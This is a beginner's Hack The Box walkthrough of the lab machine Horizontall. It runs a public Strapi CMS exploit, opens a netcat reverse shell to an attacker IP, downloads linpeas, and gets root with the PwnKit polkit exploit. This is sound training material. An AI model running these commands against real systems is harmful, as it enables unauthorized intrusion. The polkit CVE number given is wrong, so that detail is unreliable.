Hack The Box: Horizontall

Hack The Box: Horizontall

Horizontall is an easy linux box on HTB, made by wail99. I had fun with this box, and liked that the enumeration path for getting a foothold was a little different. This is a great box for beginners, in my opinion. Enumeration is key, and it relies on some well documented exploits that are fairly easy to use. This is one of my first HTB write-ups, and I am going to try to keep it simple. Hope you find it useful. Let’s get started!

Recon & Enumeration

We start off with nmap:

nmap -sC -sV -p- -oA horizontall 10.129.150.213

Which gives us:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-02 15:42 EST
Nmap scan report for 10.129.150.213
Host is up (0.076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.41 seconds

Trying to navigate to the IP address redirects to “http://horizontal.htb” which doesn’t resolve. So we need to add an entry to our hosts file to make it work. Add the below line to “/etc/hosts”

#add this line to /etc/hosts
10.129.150.213 horizontall.htb

Now when we navigate to horizontall.htb, we see:

At first glance, not seeing anything interesting. While we poke around, lets also have gobuster running in the background. Our initial results from gobuster aren’t that interesting….

gobuster dir -u http://horizontall.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o gobuster.out
results:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/02 16:39:31 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/] 
                                                                                 
===============================================================
2022/02/02 16:50:15 Finished
===============================================================

However, while poking around the source of the site in our browser, we see something interesting. While looking at the resource “app.vue” we see a reference to a subdomain “api-prod.horizontall.htb.”

Let’s add this subdomain to our hosts file so we can take a look.

#add this line to /etc/hosts
10.129.150.213 horizontall.htb
10.129.150.213 api-prod.horizontall.htb

And let gobuster run on the subdomain.

gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o api_subdomain_gobuster.out
results:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/02 16:40:41 Starting gobuster in directory enumeration mode
===============================================================
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60] 
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60] 
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69] 
                                               
===============================================================
2022/02/02 16:51:52 Finished
===============================================================

We see a few interesting things here with the /users and /admin directories.

Going to the subdomain api-prod.horizontall.htb just shows us a Welcome message; and the /admin page gives us a simple login to “strapi.” This is interesting! When I was looking at the responses in burp suite, I also see a reference to “strapi.io” in the responses.

Exploitation

So a little bit of searching on google tells us that strapi is a CMS used to build APIs. A little bit of searching further shows us that there have been a few serious vulnerabilities in the product.

A quick searchsploit:

└─# searchsploit strapi
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                           | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)         | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)   | multiple/webapps/50239.py
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

There are two vulnerabilities to note here: CVE-2019-18818 and CVE-2019-19609.

The first abuses how strapi mishandles password reset requests; and the second allows for remote code execution in the plugin install components, as it does not check plugin names. These vulnerabilities affect strapi 3.0.0-beta.17.5 and 17.8, respectively, and earlier.

The exploit “Strapi CMS 3.0.0-beta.17.4 – Remote Code Execution (RCE) (Unauthenticated) | multiple/webapps/50239.py” in particular leverages both of these vulnerabilities to: first, create an authenticated user; and second execute code.

We can copy this exploit to our working directory with:

searchsploit -m 50239

[*] Usage: python3 exploit.py <URL>

Let’s give it a shot:

[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: [email protected]
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzODQyNzY1LCJleHAiOjE2NDY0MzQ3NjV9.a2_OUeWM30Jg62wjIcZ3zKYSKrWuIP4KFR5lzZOzOXc


$> 

Looks like we can pass commands now, so let’s try to get a shell.

First we setup a listener on our machine:

└─# nc -lvnp 5555
listening on [any] 5555 ...

Then, it took me a few tries, but here’s the nc command that worked for me.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.102 5555 >/tmp/f

Tip: PentestMonkey has a great cheat sheet for reverse shell one-liners.

We have a shell!

listening on [any] 5555 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.150.213] 57420
/bin/sh: 0: can't access tty; job control turned off
$ 


get an interactive shell:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

strapi@horizontall:~/myapi$ 

A little bit of poking around and we discover that we can actually view the user flag with this account!

PrivEsc

First thing I like to do when I get a shell is run LinPEAS.

On our machine, download linpeas:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
spin up a quick http server:
python3 -m http.server 8080

on our target machine:
wget http://10.10.14.102:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a > linpeas.txt

While reviewing linpeas.txt, we see that the target is vulnerable to CVE-2021-4024 (polkit privesc). This is a more recent, known privilege escalation vulnerability in linux. More info about the vulnerability can be found here.

There are a few PoCs already written up that we can use. I used this one: PwnKit.

on local machine:
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

python3 -m http.server 8080

on target machine:
wget http://10.10.14.102:8080/PwnKit
chmod+x PwnKit
./PwnKit

If everything went as planned, you should now be root! You can now view the root flag.